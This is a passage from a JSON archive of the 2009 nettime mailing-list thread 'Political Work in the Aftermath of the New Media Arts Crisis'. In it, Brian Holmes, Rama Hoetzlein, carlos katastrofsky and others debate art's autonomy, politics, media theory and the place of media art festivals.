crushing\nregularity of the status quo. The same thing, of course, happens to\nresistant political action in the hands of the sociologists and the\nHeideggerean philosophers of an essential, \"historial\" alienation.\nBoth ethics and aesthetics take it on the chin.\n\nIn my view, the great inspiration for new media theory has come from\nhackers themselves, who create alternative possibilities for existence\nwithin the overwhelmingly powerful networked environment. This is why,\nin essays which are inseparably about art and technics, I tend to\nuse concepts like \"reverse imagineering\" or \"escaping the overcode.\"\nExpression, for me, is the rupture of code, an excess which does not\nabolish the labyrinth in which we are caught, but at least opens up a\npossible new path through it.\n\nThat's one approach. There could be many others. The problem, as\nyou point out, is that usually there are not, because the theory\nvery rarely meets any actual practice. The necessary discussion of\ntechnological power holds the center stage. Of course that is easier\nfor the whole \"new media\" social circuit, because then you don't have\nto think very much, or feel very much, or try very hard to find out\nwhat might be at stake in a particular work.\n\nThis list, I guess, is about the best place to talk about how to\napproach media art. Thanks to all for starting the conversation. I'm\nready for more. Let the thousand info-aesthetics bloom!\n\nbest, BH\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00054",
                                "date": "Sun, 17 May 2009 23:32:13 +0200",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "4A10825D.6040905 {AT} wanadoo.fr",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00054.html",
                                "content-type": "text/plai",
                                "author_name": "Brian Holmes",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                            },
                            {
                                "from": "Rama Hoetzlein <rch {AT} umail.ucsb.edu>",
                                "content": "\nBrian, thanks for your reply. In general, i'm glad to see that\nwe're mostly in agreement. Based on my observations of nettime-l,\ndisagreement is often the norm, so I'm glad to see that there is\nsome consensus between us that the new media theorists are currently\nthe only option we've been given, and that we really need some\nalternatives.. Now, for some responses.\n\n> Your idea that there is an art-philosophical perspective that could \n> exclude or bypass social determinism seems, begging your pardon, \n> somewhat naive. \n\nI'm not suggesting that art-philosophy can bypass social determinism.\nI have no illusions about the difficulty the artist faces in creating\nany real social change, since my view of art does not negate any of\nthe real research done by the media theorists. My own view is that\nthe idea of art-for-social-change is long outdated. You suggest\nthat hackers are the source of real inspiration in new media theory\nbecause they alone are able to transform the media itself, and thus\nundermine the system toward some possible escape path. Yet, there\nis no reason to believe that even if the media itself changes, that\nsociety will too. In my view, the only way we could overcome the\ncurrent technoscientific system would be due to a deep, fundamental\ntransformation in all individuals - and while I believe art is\ncapable of doing this one person at a time, I don't think any one\nartwork, hacker or otherwise, is capable of really altering the\ntechnoscientific system we find ourselves in on a global level. Thus,\nall social change we talk about now is still part of that system. This\nis the media theorist perspective, of course - which i agree with -\nbut as an artist, its incomplete.\n\nThe reason I advocate art-philosophy is for the sake of the\nindividual, and the field of art itself. While i just said the artist\nis powerless to transform culture, perhaps to a degree greater than\nmost would like, the artist is _not_ powerless to transform him or\nherself, and others which that person touches through the art..\nDespite whatever the technoscientific system may do, to create art is\nan intentional act by an individual, and thus has an immutable meaning\njust by virtue of being \"created\". We get to choose what is created\n(this does not make it good art necessarily).\n\nThat meaning is present in all work \"to varying degrees\". By this, i\nmean that we each have a unique relationship to our artwork. For some,\nit is a mirror of personal emotions and fantasies (and probably my\nown work most of the time), while others may be able to communicate\nmore.. So, I'm not evaluating art. Some is good, some is not. However,\nhaving an art-philosophical does not automatically reduce our works to\nemotional fantasies. In fact, it is more likely to result in genuinely\nempathetic works since it creates a solid foundation for art based on\na philosophy in which art is encouraged to be empathetic, rather than\nresponsive to a system.\n\nI'm simply stating -- which I think we perhaps both agree with here --\nthat so far we have not been given any other alternative view of new\nmedia art other than that proposed by the new media theorists. The way\nout of this problem is, I believe, through a philosophy of art whereby\nthe artist has full awareness of the problems of society (hopefully),\nyet continues to create works of art despite this. It is possible to\nhave no illusions about the inability of art to bring about explicit\nsocial change, but understand that it can bring implicit change\nthrough individual communication.\n\n-rama\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00052",
                                "date": "Sun, 17 May 2009 17:24:51 -0700",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "4A10AAD3.1010309 {AT} umail.ucsb.edu",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00052.html",
                                "content-type": "text/plai",
                                "author_name": "Rama Hoetzlein",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                            },
                            {
                                "from": "carlos katastrofsky <carlos.katastrofsky {AT} gmail.com>",
                                "content": "\n> The way out of this problem is, I believe, through a philosophy of\n> art whereby the artist has full awareness of the problems of society\n> (hopefully), yet continues to create works of art despite this.\n> It is possible to have no illusions about the inability of art to\n> bring about explicit social change, but understand that it can bring\n> implicit change through individual communication.\n>\n\nbut can \"change\" be a parameter for art? what is to be changed through\nart? i agree that a \"change\" in whatever direction is possible but\nIMHO art mustn't be reduced to it. to me art is also someting i can\nadmire without thinking of having to change something. in fact even\nif i see some really good \"political art\" the first step is to admire\nit (wow, great work) and then to think about consequences. art is\nsomething autonomous. to me such an approach would free it from being\na mere form of communication, a medium, or \"new media art\". but at the\nsame time it can be all of that.\n\nbest,\ncarlos\n\n\n-- \nhttp://katastrofsky.cont3xt.net\nhttp://cont3xt.net\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00058",
                                "date": "Mon, 18 May 2009 16:11:26 +0200",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "fb9095bf0905180711m6cd209adt9b6435753d81770a {AT} mail.gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00058.html",
                                "content-type": "text/plai",
                                "author_name": "carlos katastrofsky",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                            },
                            {
                                "from": "Rama Hoetzlein <rch {AT} umail.ucsb.edu>",
                                "content": "\nexactly.. even if we are fully unconcerned with political art, when\nyou say \"wow, great work\", thats just and only what i mean by implicit\nchange (you are changed).. art is autonomous here because, while the\nwork may or may not be political, this implicit change defines only\nthe meaning-relation between the artist, the work, and the viewer.\nAnd that relationship is established independent of the impact of\nmedia on society, i.e. politics. A philosophy of art should provide a\nfoundation for complete autonomy, and this is done by observing that\nthe basis of art is creating and appreciating.. keeping in mind that\ntheory only gets you so far as an artist.\n\nrama\n\ncarlos katastrofsky wrote:\n> but can \"change\" be a parameter for art? what is to be changed through\n> art? i agree that a \"change\" in whatever direction is possible but\n> IMHO art mustn't be reduced to it. to me art is also someting i can\n> admire without thinking of having to change something. in fact even if\n> i see some really good \"political art\" the first step is to admire it\n> (wow, great work) and then to think about consequences. art is\n> something autonomous. to me such an approach would free it from being\n> a mere form of communication, a medium, or \"new media art\". but at the\n> same time it can be all of that.\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00057",
                                "date": "Mon, 18 May 2009 10:11:25 -0700",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "4A1196BD.3060002 {AT} umail.ucsb.edu",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00057.html",
                                "content-type": "text/plai",
                                "author_name": "Rama Hoetzlein",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                            },
                            {
                                "from": "Brian Holmes <brian.holmes {AT} wanadoo.fr>",
                                "content": "carlos katastrofsky wrote:\n\n > if i see some really good \"political art\" the first step is to admire\n > it (wow, great work) and then to think about consequences. art is\n > something autonomous. to me such an approach would free it from being\n > a mere form of communication, a medium, or \"new media art\". but at the\n > same time it can be all of that.\n\nWhat does one admire a piece of art? What is its autonomy?  And what could\nbe its consequences? I have asked myself these questions for years. Like\nmost thinking people, I have come to a few conclusions. And since I like\nthe idea that art can be \"all of that\" - a form of communication, a medium,\nnew media art - I would like to share these conclusions with you.\n\nHumans are excessively complex by nature, and inherently social. We are\ndefined by the surfeit of symbolic activity that goes on in our brains and\nindeed, in our full sensorium, and that comes out not only from our mouths\nbut in all sorts of gestures and postures and practices directed toward the\nsenses and symbolizing activities of others. A long anthropological\ntradition running from Sapir through Levi-Strauss to Sahlins holds that\nso-called \"primitive\" societies are no less complex than modern ones: their\nlanguages show comparable range and variety, but are (according to\nLevi-Strauss) oriented differently, more concrete in one case, more\nabstracted in the other. There is so much going on in any human being and\nbetween any group of human beings that just ordering or harmonizing all\nthis excessive symbolization - I mean, excessive over what the utilitarians\nthink of as the simple quest for satisfaction or corporeal pleasure -\nbecomes a problem in itself. Because madness always lurks on the edges of\nour reeling imaginations, and then there is also depression, or anger, or\njealousy, or prejudice or extreme paranoia, indeed a great number of\nobscure problems that can disrupt the life of the one and of the many.\n\nReligion has been the great social technique for bringing all this roiling\nthought, expression and sensation into some kind of predictable pattern and\nharmony, constituting entire narrative and figural universes, with their\nbuilt environments, rituals, music, poetry, smells, tastes, etc, all\nassociated and carefully correlated with orders of kinship, canons of\nsexuality, responsibilities of care, expressions of tenderness,\ncommandments, prohibitions and the like. What we now call art, as it\ngradually detached itself from religion and became a series of aesthetic\ntraditions interpretable and modifiable by individuals - as it became\nautonomous in other words - seems to have taken on the role of being the\nsensuous and ideational mirror of the individual's proper \"fit\" with\nsociety; it became a way of continuing the vast and mostly imaginary\nconversation about the ways that the one relates to the many, and\nvice-versa.  However, this conversation was no longer necessarily about\nharmony: because depending on the very particular context, the proper \"fit\"\ncould have aspects of a \"misfit,\" and the quest for an idealized harmony\ncould involve extreme disruptions of the status quo, disruptions appearing\nboth in art and in life itself. Just think about the Antigone of Sophocles\nand you will see that this kind of problematic was not invented with the\nromantics, it goes back quite a ways.  Clearly it gets particularly intense\nin modern democracies, where we are all brought up to conceive ourselves as\nboth legislators and revolutionaries.\n\nNow, amusingly, one of the reasons I ever even bothered to think about such\ncomplex and excessive things, so far from \n\"direct political action\" and what have you, is that for \nmany years I have found myself with a certain nagging problem of getting up\nin the morning. Perhaps others have experienced this? It so happens that on\ncertain mornings I may spend as much as an hour just thinking about a\ncertain constellation of things: a group of people, an artwork, a political\nissue, a line from a song, a concept, a phrase from a book, an image, a\nrhythm. Without showing any particular signs of anxiety, insanity,\ndelirium, fever, swine flu or whatever, I still found it necessary to bring\nsuch constellations of ideas and sensations into some kind of dynamic\npattern that would lend a spring to my step, a direction to my speech, an\neffectiveness to my gestures.  Being a bit of a misfit - according to the\naforementioned tradition in the democratic societies - I had to work on\nthis question of how to fit all this in, nonetheless: how to fit into my\nown overflowing symbolic and sensate world, first of all, and how to fit\nthat world into the multitude of others with whom daily activity brings me\ninto contact.  Thus I began to think that what is pleasing, satisfying,\nattractive, intriguing, inspiring, shocking, repellent, etc in the formal\nallure of artworks is also somehow the result of other people's struggles\nwith the excess of symbolization in which they are embroiled, and that the\n\"success\" of the artwork (wow, great work) is always some variation on the\n\"infinite theme of the artist(s) trying to break out of one universe and\n\"fit into another - whether we're talking about a purely abstract universe\n\"of chromatism or rhythm, or some Hegelian quandry of historical\n\"dialectics, or the current discussion about cap and trade, or the latest\n\"dispute over the coolest tattoos in the punk or heavy-metal circle that\n\"encloses your secret passion. An aesthetic form doesn't directly solve any\n\"of the weighty social problems - but it helps get a world together, it\n\"helps structure a pattern and a dynamic and an enthusiasm, which is always\n\"a good start.\n\nSo how 'bout the politics then? Well, according to my little theory, the\npersonal is clearly both aesthetic and political, because if you can't get\nout of bed you are definitely not going to make it to the office, the\nmarch, the meeting, the voting booth, the library, or wherever your\nactivity is going to have some consequences in terms of organizing social\nrelations. What is more, this is not just my little theory, because going\nback to Plato's Republic or maybe the Rig Vedas, social thinkers have been\nvery conscious of the influence of things like music on the order and\nharmony of the community, the city, state or whatever.  Indeed, not long\nago we saw with dazzled and almost disbelieving eyes that a great\nnation-state like China could put a significant fraction of its resources\ninto organizing an aesthetic display which was not just supposed to knock\neverybody out, American style, with its overwhelming show of wealth, but\nalso and above all to enact and celebrate an ideal of harmony and societal\ncoordination which, from my anarcho-individualist viewpoint, was at once\nvastly impressive and also frankly terrifying, because here I could see an\nintensive use of all the latest, hypercomplex aesthetic techniques to knit\ntogether an order that could power a vast authoritarian economic machine\nand infuse it with the enthusiam and belief of the many - which is a lot,\nwhen we're talking China. So you want new media? Replay your avi file of\nthe opening ceremonies of the 2008 Olympics.\n\nWhat I am trying to get at with all of this is that art is essentially\nmedia, it is not merely but essentially about communication, only what is\ncommunicated is not just a phrase or a slogan or a piece of information,\nbut a problematic attempt to reconfigure a world on every level of sensate\nand imaginary experience. That can be an attempt to fit in or to stick out,\nto harmonize or to disrupt, to smash the current relation of self and\nsociety or to conserve it or to invent another one; but insofar as art is\nexpression, it always projects this struggle over the shape and balance of\na world towards the ears and eyes and excessive imaginations of others.\nWhen we say that art is autonomous, we situate it in the long democratic\ntradition where the self, autos, tries to help establish the law, nomos,\naccordingly which it can freely develop in the company of fellow human\nbeings. Now, the problems of this attempt at autonomy are almost infinite,\nthey are sexual, technical, ecological, emotional, mystical, contractual,\nmaterial, they involve philosophy, science, babies, great art and also the\nplumbing. And they always involve the relations of individuals and groups\nto others whose worlds they do not understand, whose rhythms they do not\nfeel pulsing in their own veins, whose tacit concepts of harmony and\ndisruption are not expressed by the same patterns and shapes and colors and\ncombinations of tones. So when I say, Wow, great art - as I often do, just\nthe way people in the new media arts circles have done for years at\nfestivals sponsored by Philips and Microsoft and Sony and the like - the\nfirst consequence for me is to inquire into the world from which that art\narises and to which it points, and eventually to see how I fit into or\ndesire to break out of that world.  This means that a deep and searching\ncriticism can never just be criticism of the work, it always has to look\nfurther back, into the world from which it sprang, and ahead to the\nconsequences of a potential change in the worlds we share, or at least to\nthe consequences of a change in the way that *I* or *we* will relate to\nother worlds in the future.\n\nFinally, it seems to me, in my anarcho-democratic world, that to say Wow,\ngreat art, without inquiring into the consequences, is one of the closest\nthings one can do to never getting out of bed, i.e. it's close to\nsleepwalking.  Because at best, you would then be just letting the great\nart fit into your own great dream, or letting it be the colorful and\nstriking tattoo that will fit you into your small chosen circle. That's at\nbest - because in the present world of biopower and noopower, just admiring\na work in itself and for itself can mean accepting without question the\nworld that it mediates, which in the case of the networked technologies\nsold by Sony and Microsoft Philips and abused by a vast array of\ncorporations and governments, can be an extremely predatory world,\nconfigured precisely in order to capture your consciousness and extract\nsome value or utility out of your passions and dreams. Value that can\nultimately be devastating for the collectivity (as in the debt-fueld\nconsumption boom of this decade), utility that can make you into the most\nterrible of instruments (like the voters lured by nationalist rhetoric into\nsupporting our proliferating wars).\n\nIt has been years since I read Lev Manovich, so what follows may be totally\nunjust to his work, but as I recall, what always irritated me in his\nwriting was a kind of smug insistence that the new media were essentially\ndefined by a certain kind of rhythm, a certain multiplication of screens, a\ncertain connection to databases, etc. - in other words, that the new media\nwere essentially defined by the dominant trends of contemporary capitalist\nsociety. For me this seemed like a total abdication of criticism itself,\nand it also seemed to be a sort of cheerful, \"I'm on the winning side\"\nversion of the dark technological determinism and philosophical doomsaying\npromoted by the post-Leftist thinkers in the wake of Baudrillard. What I\nmissed was the very question of autonomy, and some recognition of its\nquasi-infinite complexities as they've been ceaselessly developing from the\nNeolithic to now, in the long and discontinuous series of messages passed\nfrom human world to human world. Imho, the poverty of new media art - its \n\"crisis\" - has intrinsically to do with the poverty of media \ncritique tout court. It is the failure to see how the cultural politics of\nindividuals and groups are mediated in the work, how they are expressed at\nevery level of their ineluctable complexity and excess over the \"mere\ncommunication\" of what already exists.\n\nbest, Brian\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00062",
                                "date": "Tue, 19 May 2009 15:44:02 +0200",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "4A12B7A2.7080003 {AT} wanadoo.fr",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00062.html",
                                "content-type": "text/plai",
                                "author_name": "Brian Holmes",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts Crisis"
                            },
                            {
                                "from": "Michael H Goldhaber <mgoldh {AT} well.com>",
                                "content": "\nThanks for some beautiful and thought-provoking statements, especially  \nBrian\u2019s and Carlos\u2019s. I would add that to me the real medium of all  \nart is attention, attention the viewer or reader or listener must pay,  \nfeels consciously drawn to pay, in a deepening and all encompassing  \nway. That attention amounts to a transformation of self \u2014 into the  \nmind and body of the artist, as it were. The rest of the world falls  \naway for that moment, and so does time \u2014the moment might be a long one  \n\u2014and,a s Brian suggests will recur  later on, in recollection and  \nreflection.\n\nIf that is art, it is always political, because it always takes the  \nattention payer out of the \u201csystem,\u201d whatever it might be and however  \nmuch the managers of the system in fact solicited the artist  or the  \nwork to begin with. The huge abstract paintings of the 1950\u2019s cold  \nonly fit on the walls of the rich, but nonetheless, as long as they  \nwere there, they took over those walls, and made the space different  \nfrom what the collector might have intended, and the same goes for  \nRenaissance art and art of other periods.\n\nThe reason different media come in is that the artist has an on-going  \nproblem as to how to capture attention as distractions and competition  \nmultiply. In some way, to be really focussed on, art must avoid being  \ntoo easy to experience, for then it can become just the background,  \njust decoration or elevator music, or something that can always be  \nattended to \u201clater\u201d \u2014 I.e., usually never. This is  a serious and  \nsignificant problem for new media as well, including much Internet art.\n\nExpressly political art can only succeed, it seems to me, if it comes  \nfrom the inner depths.  For instance, I just finished reading Istvan  \nKertesz\u2019s \u201cFatelessness;\u201d I don\u2019t think it is intentionally political  \nbut it certainly made me boil with anger at the human mistreatment and  \nneglect of others. Such art brings what was already there inside us  \nand adds to its centrality. But that doesn\u2019t happen often. In my  \nexperience most political art is superficial and therefore bad, just  \nas likely to turn off sympathetic feelings in the viewer as the  \nopposite.\n\nIncidentally,  I don\u2019t know that good art necessarily causes us to  \nthink \u201cWow! I admire that.\u201d But it doesn't easily let go of us.\n\n\nBest,\nMichael\n\nOn May 19, 2009, at 6:44 AM, Brian Holmes wrote:\n\n> carlos katastrofsky wrote:\n>\n>> if i see some really good \"political art\" the first step is to admire\n>> it (wow, great work) and then to think about consequences. art is\n>> something autonomous. to me such an approach would free it from being\n>> a mere form of communication, a medium, or \"new media art\". but at  \n>> the\n>> same time it can be all of that.\n>\n> What does one admire a piece of art? What is its autonomy?  And what  \n> could\n> be its consequences? I have asked myself these questions for years.  \n> Like\n> most thinking people, I have come to a few conclusions. And since I  \n> like\n> the idea that art can be \"all of that\" - a form of communication, a  \n> medium,\n> new media art - I would like to share these conclusions with you.\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00064",
                                "date": "Tue, 19 May 2009 12:30:11 -0700",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "F6688CA9&#45;F000&#45;49A8&#45;9176&#45;5F62EC6DF50A {AT} well.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00064.html",
                                "content-type": "text/plai",
                                "author_name": "Michael H Goldhaber",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                            },
                            {
                                "from": "eyescratch <eyescratch {AT} gmail.com>",
                                "content": "\nOn Tue, May 19, 2009 at 9:44 AM, Brian Holmes <brian.holmes {AT} wanadoo.fr> wrote:\n\n> So you want new media? Replay your avi file of the opening\n> ceremonies of the 2008 Olympics.\n>\n> What I am trying to get at with all of this is that art is\n> essentially media, it is not merely but essentially about\n> communication, only what is communicated is not just a phrase or\n> a slogan or a piece of information, but a problematic attempt\n> to reconfigure a world on every level of sensate and imaginary\n> experience.\n\nMuch of media studies is obsessed with witnessing an existence that is\npart of mediality, to borrow a term from the previous discussion, by\nplacing great emphasis on inserting the observer into the equation.\nNevertheless these studies formulate a distinction to preserve some\nauthorship role. What this kind of representational relationship\nignores is that it precludes any kind of intervention in favor of a\nconservation. If the art cannot be conserved because it is conceptual\nor a piece of code, the identity of the author is preserved and\ncelebrated. This is because a piece of media arrives at its monetary\nvalue by being bundled with products that claim to correct the\ninjustices, needs, or ailments being described in that piece of media.\nThe media is monetized either for its value of showing a certain lack\nor showing the idealized completion that a product might fulfill. An\nauthorship identity, it turns out, can fulfill this marketing function\nnicely for the lack of any particular object that might or might not\nexist or lacks monetary value, culminating it seems these days in a\nguarded wikipedia entry.\n\nTurns out, while searching for a word to describe the process of\nentering into communication via media I looked up mediated. There is\nplenty of secondary literature on McLuhan using this word to capture\nthe processes McLuhan describes, but he himself only uses the word\nmediated with the original definition to describe the arbitration\nthat happens in a conflict. Using the term mediated in the sense that\na form of communication is performed via media, still implies that\nthere is an exchange occurring where each party must sacrifice some\nof their preconceptions in a productive process that is manufacturing\nrepresentation. Otherwise this representation veers very quickly\ntowards the ideological.\n\nhTTp://eyescratch.tk\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00069",
                                "date": "Sat, 23 May 2009 10:30:31 -0400",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "79976e5a0905230730j58fc5bdes611529b066f69590 {AT} mail.gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00069.html",
                                "content-type": "text/plai",
                                "author_name": "eyescratch",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                            },
                            {
                                "from": "carlos katastrofsky <carlos.katastrofsky {AT} cont3xt.net>",
                                "content": "> I am not so sure whether I agree. It all depends on your definition of\n> \"media\". The problem is that the word \"media\" means quite different things\n> in different contexts:\n\ni agree. but exactly this is the point: media theory is swallowing\neverything, but where are its boundaries? what i am trying to find as\nartist (neither theorist nor philosopher) is a definition for art that\ngoes beyond a mere definition as \"media\" in whatever sense.\nthat is why i am aiming on the much-maligned term of \"autonomy\" (and\ni'm following here the previous mentioned philosophy of j.\nrebentisch). to me this doesn't mean art is somewhat apolotical or\ndealing solely with itself (l' art pour l'art - i guess you had this\nin mind when stating \"[...] If the basic quality of art - in the sense\nof 'Fine Art' - lies in its self-reference to its own system, then it\nwould be something very narrow and ultimately boring, [...]\"). art is\nmade to be seen/heard/whatever - to be experienced. and this\nexperience is what defines art and not media. it can change in time\n-we quite surely don't experience cave paintings in the same way the\nones did who made them- but i'm not sure if \"the media\" does, no\nmatter if it's read as \"painting/drawing\" or as \"hunting scene\". what\ni am hoping to find by this is a possibility to think about \"art\" and\nneither media nor porn or politics. these are -let's say- \"themes\"\nthat can be interpreted, but i hope that art goes beyond being a good\ndesigned set of political opinions. i mean, what political context is\nreflected in leonardo's \"last supper\"? we surely can speculate but do\nwe know? these are things that are bound to their time and context but\nnevertheless we still percieve it as \"art\".\n\n> If I take, for example, the subjects of the last nine transmediale\n> festivals (\"Do It Yourself\",\n[...]\n> One could just as well say that contemporary art deals with \"white cube\n> installation art\" with changing subtitles.\n[...]\n> The same terms abound in the contemporary art discourse if you read, for\n> example, \"October\" or \"Texte zur Kunst\".\n\nyep, exactly. and this what the \"art world\" makes as boring as \"new\nmedia art\". what i had in mind when saying that the \"fine art world is\ndealing with other subjects\" was not the (i would like to call it\nnonexistent) contemporary discourse. what can be seen in the fine arts\nfield (but not in the big biz -documenta, ps1, kw, ...) is an\ninclusion of possibilities in expression and perception which i never\nsaw in any media-art discourse (though i have to admit i am far from\nfollowing everything in that area).\n\n> Not knowing the full context of this quote, I nevertheless find such\n> systemic definitions of art quite risky. If the basic quality of art\n> - in the sense of 'Fine Art' - lies in its self-reference to its own\n> system,\n\ni'm sorry if this comes through that way, i'm not the best in\nformulating things. i never wanted to present art as solely\nself-referential system. if autonomy is read as autonomy of the object\n(l'art pour l'art) i would agree totally with you. but seen from the\nviewpoint that \"art\" may not lie in an object but somewhere between\nthe object and the observer (experience, perception) an autonomy of\nart is essential.\n\n\nthank you all for your replies :-)\n\nbest,\ncarlos\n-- \nhttp://katastrofsky.cont3xt.net\nhttp://cont3xt.net\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00061",
                                "date": "Tue, 19 May 2009 15:14:35 +0200",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "fb9095bf0905190614l39062a34j17867e0d82469c5f {AT} mail.gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00061.html",
                                "content-type": "text/plai",
                                "author_name": "carlos katastrofsky",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                            },
                            {
                                "from": "Station Rose <gunafa {AT} well.com>",
                                "content": "\nOn Sunday, May 17 2009, 10:59 (+0200), florian cramer wrote:\n\n>If I take, for example, the subjects of the last nine transmediale\n>festivals (\"Do It Yourself\", \"Go Public\", \"Play Global\", \"Fly\n>Utopia\", \"Basics\", \"Reality Addicts\", \"Unfinish\", \"Conspire\", \"Deep\n>North\"), they could just as well have been the names of contemporary\n>art exhibitions at PS.1 in New York, KW in Berlin, Witte de With in\n>Rotterdam, or any other contemporary art space.\n\nbut it wasnt like that cause it was happening ONLY in a festival     .\n<ghetto> situation                                                   .\n\nas I see it, many art people are not going to events like\ntransmediale, cause its not seen as an important place for art. I dont\ngo, besides when we are actively part of it.\n\nlooks like media art is not sexy enough. the exhibits, as part of\nfestivals, are often too prudish. everything sensual seems forbidden,\n\ntoo often it s needs written explanations to understand the\n(political) work.\n\nI do not believe - and I say that as an artist- that the written word\nis necessary to <understand> a piece of art.it can help and make\ndetails transparent, but its not necessary in advance.\n\n\nmy own experience with Station Rose media art projects-like recently\nLogInCabin in MAK Vienna- is : they are recognized & seen in art\nspaces, museums by the art scene, but not as much in a so called media\nart context as festivals are.\n\nbasically my impression is that as long as a dicussion like that one\ngoes on, it makes clear that the art world is something and the media\nart scene is out of it.\n\n\n-- \n----------------------------------------------------\nStation Rose     digital_audio  - visual art      http://www.stationrose.com\n....................    Gary Danner & Elisa Rose\n\nFrankfurt   - Cyberspace -  Vienna.\n\n* recent project: 20 Digital Years. \"LogInCabin\" mediascultpure at \nMAK Vienna_sold\n* new: \"Interstellar Overdrive CD\" Japan release (2.09)\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00072",
                                "date": "Sun, 24 May 2009 13:52:26 +0200",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "a06200701c63ee015f460 {AT} [192.168.1.100]",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00072.html",
                                "content-type": "text/plai",
                                "author_name": "Station Rose",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts Crisis"
                            }
                        ],
                        "from": "carlos katastrofsky <carlos.katastrofsky {AT} cont3xt.net>",
                        "content": "\nwhat i am always wondering about is why the media arts field is so\nconcerned with its media. is dealing with \"new media\" or \"old media\"\nan excuse for making good or bad art? IMO defining art by its media\nis on the same level as defining art by its subject. not getting over\nthese definitions will result in a ghetto-situation sooner or later.\nthe problem -IMHO- is not that media art is not recognized by the fine\nart world but that the fine art world is dealing with other subjects.\nwhen was the last big exhibition dealing solely with \"painting\" or\n\"sculpture\" you've seen? ars electronica and the others are doing that\nevery year: \"new media art\" with changing subtitles.\n\nthe same problem persists when new media artists and theorists\ninsist on \"politicalness\" and \"radicality\". those terms don't say\nanything about certain works either, no matter which media is used\nin it. they only say that they may be recognised as \"political\" in a\ncertain time in a certain context. but that doesn't say anything about\nit's \"artness\" either. \"art doesn't become art by having specific\ncharacteristics but by a specific kind of processual reference to it.\"\n(J. Rebentisch, Aesthetik der Installation)\n\nand -please hit me hard if i'm wrong- the \"fine art world\" questions\nsuch things. this \"eclecticism\" and \"cluelesness\" some are claiming\nexist, but despite the ugly quest for the next blockbuster there is a\nlively scene developing things further without thinking about making\n\"political art\" or \"painting\". seen from this point of view i think\nthat hans' claim \"The aim should be Art, not Politics.\" is totally\nright, even if it is harshly critisized by geert. to put it bluntly:\nif i want to learn something about politics i would read a book with\nproper information about it and not go to see art that repeats the\ncommon sense that there are bad things existing in our world. i want\nto see art. neither new media nor politics.\n\ncarlos\n\n-- \nhttp://katastrofsky.cont3xt.net\nhttp://cont3xt.net\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net 